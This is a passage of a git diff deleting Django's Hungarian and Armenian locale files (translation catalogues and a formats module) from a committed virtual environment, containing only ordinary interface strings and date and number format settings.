-msgstr[0] "Legfeljebb %(num)d űrlapot küldjön be." -msgstr[1] "Legfeljebb %(num)d űrlapot küldjön be." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "Legalább %(num)d űrlapot küldjön be." -msgstr[1] "Legalább %(num)d űrlapot küldjön be." - -msgid "Order" -msgstr "Sorrend" - -msgid "Delete" -msgstr "Törlés" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Javítsa a mezőhöz tartozó duplikált adatokat: %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Javítsa a mezőhöz tartozó duplikált adatokat: %(field)s (egyedinek kell " -"lenniük)." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Javítsa a mezőhöz tartozó duplikált adatokat: %(field_name)s (egyedinek kell " -"lenniük %(lookup)s alapján a dátum mezőn: %(date_field)s)." - -msgid "Please correct the duplicate values below." -msgstr "Javítsa az alábbi duplikált értékeket." - -msgid "The inline value did not match the parent instance." -msgstr "A beágyazott érték nem egyezik meg a szülő példányéval." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "" -"Válasszon érvényes elemet. Az Ön választása nincs az elérhető lehetőségek " -"között." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "Érvénytelen érték: \"%(pk)s\"" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"A(z) %(datetime)s nem értelmezhető a(z) %(current_timezone)s időzónában; " -"vagy bizonytalan, vagy nem létezik." - -msgid "Clear" -msgstr "Törlés" - -msgid "Currently" -msgstr "Jelenleg" - -msgid "Change" -msgstr "Módosítás" - -msgid "Unknown" -msgstr "Ismeretlen" - -msgid "Yes" -msgstr "Igen" - -msgid "No" -msgstr "Nem" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "igen,nem,talán" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d bájt" -msgstr[1] "%(size)d bájt" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "du" - -msgid "a.m." -msgstr "de" - -msgid "PM" -msgstr "DU" - -msgid "AM" -msgstr "DE" - -msgid "midnight" -msgstr "éjfél" - -msgid "noon" -msgstr "dél" - -msgid "Monday" -msgstr "hétfő" - -msgid "Tuesday" -msgstr "kedd" - -msgid "Wednesday" -msgstr "szerda" - -msgid "Thursday" -msgstr "csütörtök" - -msgid "Friday" -msgstr "péntek" - -msgid "Saturday" -msgstr "szombat" - -msgid "Sunday" -msgstr "vasárnap" - -msgid "Mon" -msgstr "hét" - -msgid "Tue" -msgstr "kedd" - -msgid "Wed" -msgstr "sze" - -msgid "Thu" -msgstr "csüt" - -msgid "Fri" -msgstr "pén" - -msgid "Sat" -msgstr "szo" - -msgid "Sun" -msgstr "vas" - -msgid "January" -msgstr "január" - -msgid "February" -msgstr "február" - -msgid "March" -msgstr "március" - -msgid "April" -msgstr "április" - -msgid "May" -msgstr "május" - -msgid "June" -msgstr "június" - -msgid "July" -msgstr "július" - -msgid "August" -msgstr "augusztus" - -msgid "September" -msgstr "szeptember" - -msgid "October" -msgstr "október" - -msgid "November" -msgstr "november" - -msgid "December" -msgstr "december" - -msgid "jan" -msgstr "jan" - -msgid "feb" -msgstr "feb" - -msgid "mar" -msgstr "már" - -msgid "apr" -msgstr "ápr" - -msgid "may" -msgstr "máj" - -msgid "jun" -msgstr "jún" - -msgid "jul" -msgstr "júl" - -msgid "aug" -msgstr "aug" - -msgid "sep" -msgstr "sze" - -msgid "oct" -msgstr "okt" - -msgid "nov" -msgstr "nov" - -msgid "dec" -msgstr "dec" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "jan." - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "febr." - -msgctxt "abbrev. month" -msgid "March" -msgstr "márc." - -msgctxt "abbrev. month" -msgid "April" -msgstr "ápr." - -msgctxt "abbrev. month" -msgid "May" -msgstr "máj." - -msgctxt "abbrev. month" -msgid "June" -msgstr "jún." - -msgctxt "abbrev. month" -msgid "July" -msgstr "júl." - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "aug." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "szept." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "okt." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "nov." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "dec." - -msgctxt "alt. month" -msgid "January" -msgstr "január" - -msgctxt "alt. month" -msgid "February" -msgstr "február" - -msgctxt "alt. month" -msgid "March" -msgstr "március" - -msgctxt "alt. month" -msgid "April" -msgstr "április" - -msgctxt "alt. month" -msgid "May" -msgstr "május" - -msgctxt "alt. month" -msgid "June" -msgstr "június" - -msgctxt "alt. month" -msgid "July" -msgstr "július" - -msgctxt "alt. month" -msgid "August" -msgstr "augusztus" - -msgctxt "alt. month" -msgid "September" -msgstr "szeptember" - -msgctxt "alt. month" -msgid "October" -msgstr "október" - -msgctxt "alt. month" -msgid "November" -msgstr "november" - -msgctxt "alt. month" -msgid "December" -msgstr "december" - -msgid "This is not a valid IPv6 address." -msgstr "Ez nem egy érvényes IPv6 cím." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "vagy" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d év" -msgstr[1] "%(num)d év" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d hónap" -msgstr[1] "%(num)d hónap" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d hét" -msgstr[1] "%(num)d hét" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d nap" -msgstr[1] "%(num)d nap" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d óra" -msgstr[1] "%(num)d óra" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d perc" -msgstr[1] "%(num)d perc" - -msgid "Forbidden" -msgstr "Hozzáférés megtagadva" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF ellenőrzés sikertelen. Kérés kiszolgálása megszakítva." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"Ezt az üzenetet azért látja, mert ezen a HTTPS oldalon kötelező a \"Referer " -"header\", amelyet a böngészőnek kellene küldenie, de nem tette. Ez az adat " -"biztonsági okokból kötelező, ez biztosítja, hogy a böngészőt nem irányítja " -"át egy harmadik fél." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"Ha a böngészője úgy van beállítva, hogy letilja a \"Referer\" adatokat, " -"kérjük engedélyezze őket ehhez az oldalhoz, vagy a HTTPS kapcsolatokhoz, " -"vagy a \"same-origin\" kérésekhez." - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"Ha a címkét használja, vagy " -"a “Referrer-Policy: no-referrer” fejlécet, kérjük távolítsa el ezeket. A " -"CSRF védelemnek szüksége van a \"Referer\" fejléc adatra a szigorú " -"ellenőrzéshez. Ha aggódik az adatainak biztonsága miatt, használjon " -"alternatívákat, mint például az , a külső oldalakra " -"mutató linkek esetén. " - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"Azért látja ezt az üzenetet, mert ez a weboldal elvárja a CSRF cookie " -"elküldését űrlapoknál. Erre a cookie-ra biztonsági okból van szükség annak " -"kiszűrésére, hogy harmadik fél eltérítse az ön böngészőjét." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Ha kikapcsolta a cookie-kat a böngészőjében, kérjük engedélyezze őket újra, " -"legalább erre az oldalra, vagy a \"same-origin\" típusú kérésekre." - -msgid "More information is available with DEBUG=True." -msgstr "További információ DEBUG=True beállítással érhető el." - -msgid "No year specified" -msgstr "Nincs év megadva" - -msgid "Date out of range" -msgstr "A dátum a megengedett tartományon kívül esik." - -msgid "No month specified" -msgstr "Nincs hónap megadva" - -msgid "No day specified" -msgstr "Nincs nap megadva" - -msgid "No week specified" -msgstr "Nincs hét megadva" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Nincsenek elérhető %(verbose_name_plural)s" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Jövőbeli %(verbose_name_plural)s nem elérhetők, mert %(class_name)s." -"allow_future értéke False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" -"A megadott dátum \"%(datestr)s\" érvénytelen a következő formátumban: " -"\"%(format)s\"." - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Nincs a keresési feltételeknek megfelelő %(verbose_name)s" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "Az oldalszám nem \"utolsó\", vagy nem lehet számmá alakítani." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Érvénytelen oldal (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "Üres lista, de a \"%(class_name)s.allow_empty\" értéke hamis." - -msgid "Directory indexes are not allowed here." -msgstr "A könyvtárak listázása itt nincs engedélyezve." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "A(z) \"%(path)s\" útvonal nem létezik" - -#, python-format -msgid "Index of %(directory)s" -msgstr "A %(directory)s könyvtár tartalma" - -msgid "The install worked successfully! Congratulations!" -msgstr "A telepítés sikeresen végződött! Gratulálunk!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"A Django %(version)s kiadási megjegyzéseinek " -"megtekintése" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"Azért látod ezt az oldalt, mert a DEBUG=True szerepel a settings fájlban, és még nem " -"került beállításra egy URL sem." - -msgid "Django Documentation" -msgstr "Django Dokumentáció" - -msgid "Topics, references, & how-to’s" -msgstr "Témák, hivatkozások, & leírások" - -msgid "Tutorial: A Polling App" -msgstr "Gyakorlat: egy szavazó app" - -msgid "Get started with Django" -msgstr "Első lépések a Djangóval" - -msgid "Django Community" -msgstr "Django Közösség" - -msgid "Connect, get help, or contribute" -msgstr "Lépj kapcsolatba, kérj segítséget, vagy járulj hozzá" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/hu/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/hu/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/hu/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/hu/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 13546b4f..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/hu/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/hu/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/hu/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 622dcfa9..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/hu/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/hu/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/hu/formats.py deleted file mode 100644 index c17f2c75..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/hu/formats.py +++ /dev/null @@ -1,30 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "Y. F j." -TIME_FORMAT = "H:i" -DATETIME_FORMAT = "Y. F j. H:i" -YEAR_MONTH_FORMAT = "Y. F" -MONTH_DAY_FORMAT = "F j." -SHORT_DATE_FORMAT = "Y.m.d." -SHORT_DATETIME_FORMAT = "Y.m.d. H:i" -FIRST_DAY_OF_WEEK = 1 # Monday - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%Y.%m.%d.", # '2006.10.25.' -] -TIME_INPUT_FORMATS = [ - "%H:%M:%S", # '14:30:59' - "%H:%M", # '14:30' -] -DATETIME_INPUT_FORMATS = [ - "%Y.%m.%d. %H:%M:%S", # '2006.10.25. 14:30:59' - "%Y.%m.%d. %H:%M:%S.%f", # '2006.10.25. 14:30:59.000200' - "%Y.%m.%d. %H:%M", # '2006.10.25. 14:30' -] -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = " " # Non-breaking space -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/hy/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/hy/LC_MESSAGES/django.mo deleted file mode 100644 index 9dcc4721..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/hy/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/hy/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/hy/LC_MESSAGES/django.po deleted file mode 100644 index e4860e2d..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/hy/LC_MESSAGES/django.po +++ /dev/null @@ -1,1237 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Սմբատ Պետրոսյան , 2014 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2019-09-27 22:40+0200\n" -"PO-Revision-Date: 2019-11-05 00:38+0000\n" -"Last-Translator: Ramiro Morales\n" -"Language-Team: Armenian (http://www.transifex.com/django/django/language/" -"hy/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: hy\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "Աֆրիկաանս" - -msgid "Arabic" -msgstr "Արաբերեն" - -msgid "Asturian" -msgstr "Աստուրերեն" - -msgid "Azerbaijani" -msgstr "Ադրբեջաներեն" - -msgid "Bulgarian" -msgstr "Բուլղարերեն" - -msgid "Belarusian" -msgstr "Բելոռուսերեն" - -msgid "Bengali" -msgstr "Բենգալերեն" - -msgid "Breton" -msgstr "Բրետոներեն" - -msgid "Bosnian" -msgstr "Բոսնիերեն" - -msgid "Catalan" -msgstr "Կատալաներեն" - -msgid "Czech" -msgstr "Չեխերեն" - -msgid "Welsh" -msgstr "Վալլիերեն" - -msgid "Danish" -msgstr "Դանիերեն" - -msgid "German" -msgstr "Գերմաներեն" - -msgid "Lower Sorbian" -msgstr "" - -msgid "Greek" -msgstr "Հունարեն" - -msgid "English" -msgstr "Անգլերեն" - -msgid "Australian English" -msgstr "Ավստրալական Անգլերեն" - -msgid "British English" -msgstr "Բրիտանական Անգլերեն" - -msgid "Esperanto" -msgstr "Էսպերանտո" - -msgid "Spanish" -msgstr "Իսպաներեն" - -msgid "Argentinian Spanish" -msgstr "Արգենտինական իսպաներեն" - -msgid "Colombian Spanish" -msgstr "Կոլումբիական իսպաներեն" - -msgid "Mexican Spanish" -msgstr "Մեքսիկական իսպաներեն" - -msgid "Nicaraguan Spanish" -msgstr "Նիկարագուական իսպաներեն" - -msgid "Venezuelan Spanish" -msgstr "Վենեսուելլական իսպաներեն" - -msgid "Estonian" -msgstr "Էստոներեն" - -msgid "Basque" -msgstr "Բասկերեն" - -msgid "Persian" -msgstr "Պարսկերեն" - -msgid "Finnish" -msgstr "Ֆիներեն" - -msgid "French" -msgstr "Ֆրանսերեն" - -msgid "Frisian" -msgstr "Ֆրիզերեն" - -msgid "Irish" -msgstr "Իռլանդերեն" - -msgid "Scottish Gaelic" -msgstr "Գելական շոտլանդերեն" - -msgid "Galician" -msgstr "Գալիսերեն" - -msgid "Hebrew" -msgstr "Եբրայերեն" - -msgid "Hindi" -msgstr "Հինդի" - -msgid "Croatian" -msgstr "Խորվաթերեն" - -msgid "Upper Sorbian" -msgstr "" - -msgid "Hungarian" -msgstr "Հունգարերեն" - -msgid "Armenian" -msgstr "" - -msgid "Interlingua" -msgstr "Ինտերլինգուա" - -msgid "Indonesian" -msgstr "Ինդոնեզերեն" - -msgid "Ido" -msgstr "Իդո" - -msgid "Icelandic" -msgstr "Իսլանդերեն" - -msgid "Italian" -msgstr "Իտալերեն" - -msgid "Japanese" -msgstr "Ճապոներեն" - -msgid "Georgian" -msgstr "Վրացերեն" - -msgid "Kabyle" -msgstr "" - -msgid "Kazakh" -msgstr "Ղազախերեն" - -msgid "Khmer" -msgstr "Քեմերերեն" - -msgid "Kannada" -msgstr "Կանադա" - -msgid "Korean" -msgstr "Կորեերեն" - -msgid "Luxembourgish" -msgstr "Լյուքսեմբուրգերեն" - -msgid "Lithuanian" -msgstr "Լիտվերեն" - -msgid "Latvian" -msgstr "Լատիշերեն" - -msgid "Macedonian" -msgstr "Մակեդոներեն" - -msgid "Malayalam" -msgstr "Մալայալամ" - -msgid "Mongolian" -msgstr "Մոնղոլերեն" - -msgid "Marathi" -msgstr "Մարատխի" - -msgid "Burmese" -msgstr "Բիրմաներեն" - -msgid "Norwegian Bokmål" -msgstr "" - -msgid "Nepali" -msgstr "Նեպալերեն" - -msgid "Dutch" -msgstr "Հոլանդերեն" - -msgid "Norwegian Nynorsk" -msgstr "Նորվեգերեն (Նյունորսկ)" - -msgid "Ossetic" -msgstr "Օսերեն" - -msgid "Punjabi" -msgstr "Փանջաբի" - -msgid "Polish" -msgstr "Լեհերեն" - -msgid "Portuguese" -msgstr "Պորտուգալերեն" - -msgid "Brazilian Portuguese" -msgstr "Բրազիլական պորտուգալերեն" - -msgid "Romanian" -msgstr "Ռումիներեն" - -msgid "Russian" -msgstr "Ռուսերեն" - -msgid "Slovak" -msgstr "Սլովակերեն" - -msgid "Slovenian" -msgstr "Սլովեներեն" - -msgid "Albanian" -msgstr "Ալբաներեն" - -msgid "Serbian" -msgstr "Սերբերեն" - -msgid "Serbian Latin" -msgstr "Սերբերեն (լատինատառ)" - -msgid "Swedish" -msgstr "Շվեդերեն" - -msgid "Swahili" -msgstr "Սվահիլի" - -msgid "Tamil" -msgstr "Թամիլերեն" - -msgid "Telugu" -msgstr "Թելուգու" - -msgid "Thai" -msgstr "Թայերեն" - -msgid "Turkish" -msgstr "Թուրքերեն" - -msgid "Tatar" -msgstr "Թաթարերեն" - -msgid "Udmurt" -msgstr "Ումուրտերեն" - -msgid "Ukrainian" -msgstr "Ուկրաիներեն" - -msgid "Urdu" -msgstr "Ուրդու" - -msgid "Uzbek" -msgstr "" - -msgid "Vietnamese" -msgstr "Վիետնամերեն" - -msgid "Simplified Chinese" -msgstr "Հեշտացված չինարեն" - -msgid "Traditional Chinese" -msgstr "Ավանդական չինարեն" - -msgid "Messages" -msgstr "Հաղորդագրություններ" - -msgid "Site Maps" -msgstr "Կայքի քարտեզ" - -msgid "Static Files" -msgstr "Ստատիկ ֆայլեր\t" - -msgid "Syndication" -msgstr "Նորություններ" - -msgid "That page number is not an integer" -msgstr "" - -msgid "That page number is less than 1" -msgstr "" - -msgid "That page contains no results" -msgstr "" - -msgid "Enter a valid value." -msgstr "Մուտքագրեք ճիշտ արժեք" - -msgid "Enter a valid URL." -msgstr "Մուտքագրեք ճիշտ URL" - -msgid "Enter a valid integer." -msgstr "Մուտքագրեք ամբողջ թիվ" - -msgid "Enter a valid email address." -msgstr "Մուտքագրեք ճիշտ էլեկտրոնային փոստի հասցե" - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" - -msgid "Enter a valid IPv4 address." -msgstr "Մուտքագրեք ճիշտ IPv4 հասցե" - -msgid "Enter a valid IPv6 address." -msgstr "Մուտքագրեք ճիշտ IPv6 հասցե" - -msgid "Enter a valid IPv4 or IPv6 address." -msgstr "Մուտքագրեք ճիշտ IPv4 կամ IPv6 հասցե" - -msgid "Enter only digits separated by commas." -msgstr "Մուտքագրեք միայն ստորակետով բաժանված թվեր" - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "Համոզվեք, որ այս արժեքը %(limit_value)s (հիմա այն — %(show_value)s)" - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "Համոզվեք, որ այս արժեքը փոքր է, կամ հավասար %(limit_value)s" - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "Համոզվեք, որ այս արժեքը մեծ է, համ հավասար %(limit_value)s" - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Համոզվեք, որ արժեքը պարունակում է ամենաքիչը %(limit_value)d նիշ (այն " -"պարունակում է %(show_value)d)." -msgstr[1] "" -"Համոզվեք, որ արժեքը պարունակում է ամենաքիչը %(limit_value)d նիշ (այն " -"պարունակում է %(show_value)d)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"Համոզվեք, որ արժեքը պարունակում է ամենաքիչը %(limit_value)d նիշ (այն " -"պարունակում է %(show_value)d)." -msgstr[1] "" -"Համոզվեք, որ արժեքը պարունակում է ամենաքիչը %(limit_value)d նիշ (այն " -"պարունակում է %(show_value)d)." - -msgid "Enter a number." -msgstr "Մուտքագրեք թիվ" - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "Համոզվեք, որ թվերի քանակը մեծ չէ %(max)s -ից" -msgstr[1] "Համոզվեք, որ թվերի քանակը մեծ չէ %(max)s -ից" - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "Համոզվեք, որ ստորակետից հետո թվերի քանակը մեծ չէ %(max)s -ից" -msgstr[1] "Համոզվեք, որ ստորակետից հետո թվերի քանակը մեծ չէ %(max)s -ից" - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "Համոզվեք, որ ստորակետից առաջ թվերի քանակը մեծ չէ %(max)s -ից" -msgstr[1] "Համոզվեք, որ ստորակետից առաջ թվերի քանակը մեծ չէ %(max)s -ից" - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" - -msgid "Null characters are not allowed." -msgstr "" - -msgid "and" -msgstr "և" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "" -"%(field_labels)s դաշտերի այս արժեքով %(model_name)s արդեն գոյություն ունի" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "%(value)r արժեքը չի մտնում թույլատրված տարբերակների մեջ" - -msgid "This field cannot be null." -msgstr "Այս դաշտը չի կարող ունենալ NULL արժեք " - -msgid "This field cannot be blank." -msgstr "Այս դաշտը չի կարող լինել դատարկ" - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(field_label)s դաշտի այս արժեքով %(model_name)s արդեն գոյություն ունի" - -#. Translators: The 'lookup_type' is one of 'date', 'year' or 'month'. -#. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"«%(field_label)s» դաշտի արժեքը պետք է լինի միակը %(date_field_label)s " -"%(lookup_type)s համար" - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "%(field_type)s տիպի դաշտ" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "" - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "Տրամաբանական (True կամ False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Տող (մինչև %(max_length)s երկարությամբ)" - -msgid "Comma-separated integers" -msgstr "Ստորակետով բաժանված ամբողջ թվեր" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" - -msgid "Date (without time)" -msgstr "Ամսաթիվ (առանց ժամանակի)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "Ամսաթիվ (և ժամանակ)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "Տասնորդական թիվ" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "Տևողություն" - -msgid "Email address" -msgstr "Email հասցե" - -msgid "File path" -msgstr "Ֆայլի ճանապարհ" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "" - -msgid "Floating point number" -msgstr "Floating point թիվ" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "" - -msgid "Integer" -msgstr "Ամբողջ" - -msgid "Big (8 byte) integer" -msgstr "Մեծ (8 բայթ) ամբողջ թիվ" - -msgid "IPv4 address" -msgstr "IPv4 հասցե" - -msgid "IP address" -msgstr "IP հասցե" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "" - -msgid "Boolean (Either True, False or None)" -msgstr "Տրամաբանական (Either True, False կամ None)" - -msgid "Positive integer" -msgstr "Դրական ամբողջ թիվ" - -msgid "Positive small integer" -msgstr "Դրայան փոքր ամբողջ թիվ" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Slug (մինչև %(max_length)s նիշ)" - -msgid "Small integer" -msgstr "Փոքր ամբողջ թիվ" - -msgid "Text" -msgstr "Տեքստ" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "Ժամանակ" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Երկուական տվյալներ" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "" - -msgid "File" -msgstr "Ֆայլ" - -msgid "Image" -msgstr "Պատկեր" - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "" -" %(field)s դաշտի %(value)r արժեք ունեցող %(model)s օրինակ գոյություն չունի" - -msgid "Foreign Key (type determined by related field)" -msgstr "Արտաքին բանալի (տեսակը որոշվում է հարակից դաշտից)" - -msgid "One-to-one relationship" -msgstr "Մեկը մեկին կապ" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "" - -msgid "Many-to-many relationship" -msgstr "Մի քանիսը մի քանիսին կապ" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "Այս դաշտը պարտադիր է" - -msgid "Enter a whole number." -msgstr "Մուտքագրեք ամբողջ թիվ" - -msgid "Enter a valid date." -msgstr "Մուտքագրեք ճիշտ ամսաթիվ" - -msgid "Enter a valid time." -msgstr "Մուտքագրեք ճիշտ ժամանակ" - -msgid "Enter a valid date/time." -msgstr "Մուտքագրեք ճիշտ ամսաթիվ/ժամանակ" - -msgid "Enter a valid duration." -msgstr "Մուտքագրեք ճիշտ տևողություն" - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Ոչ մի ֆայլ չի ուղարկվել։ Ստուգեք ձևաթղթի կոդավորում տեսակը" - -msgid "No file was submitted." -msgstr "Ոչ 